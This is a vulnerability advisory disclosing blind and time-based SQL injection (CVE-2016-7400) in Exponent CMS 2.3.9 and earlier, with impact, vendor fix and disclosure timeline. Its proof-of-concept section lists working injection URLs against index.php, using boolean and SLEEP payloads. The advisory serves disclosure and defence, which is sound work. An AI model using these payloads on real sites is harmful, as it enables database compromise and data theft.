Exponent CMS 2.3.9 - Blind SQL Injection

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MGC ALERT 2016-005
- Original release date: September 09, 2016
- Last revised:  September 20, 2016
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2016-7400
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I. VULNERABILITY
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Blind SQL Injection in Exponent CMS <= v2.3.9

II. BACKGROUND
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Exponent CMS is a free, open source, open standards modular enterprise
software framework and content management system (CMS) written in the
programming language PHP.

III. DESCRIPTION
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This bug was found using the portal in the index.php page.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the "index.php" page
"/exponent/index.php".

IV. PROOF OF CONCEPT
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The following URL have been confirmed to all suffer from Blind SQL
injection and Time Based SQL Injection.

Blind SQL Injection POC:

/exponent/index.php'%20or%201%3d1--%20

/exponent/index.php'%20or%201%3d2--%20

Time Based SQL Injection POC:

/exponent/index.php'%20OR%20SLEEP(1)--%20   (2 seconds of response)

/exponent/index.php'%20OR%20SLEEP(30)--%20   (30 seconds of response)

V. BUSINESS IMPACT
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Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
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Exponent CMS <= v2.3.9

VII. SOLUTION
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Vendor fix the vulnerability:
http://www.exponentcms.org/news/updated-patches-released-for-v2-1-4-and-v2-2-3-1473726129-0.50310400

VIII. REFERENCES
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http://www.exponentcms.org/

IX. CREDITS
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This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
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September 09, 2016 1: Initial release
September 20, 2016 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
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September 09, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
September 09, 2016 2: Send to vendor
September 12, 2016 3: Vendor fix vulnerability
September 20, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
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Manuel Garcia Cardenas
Pentester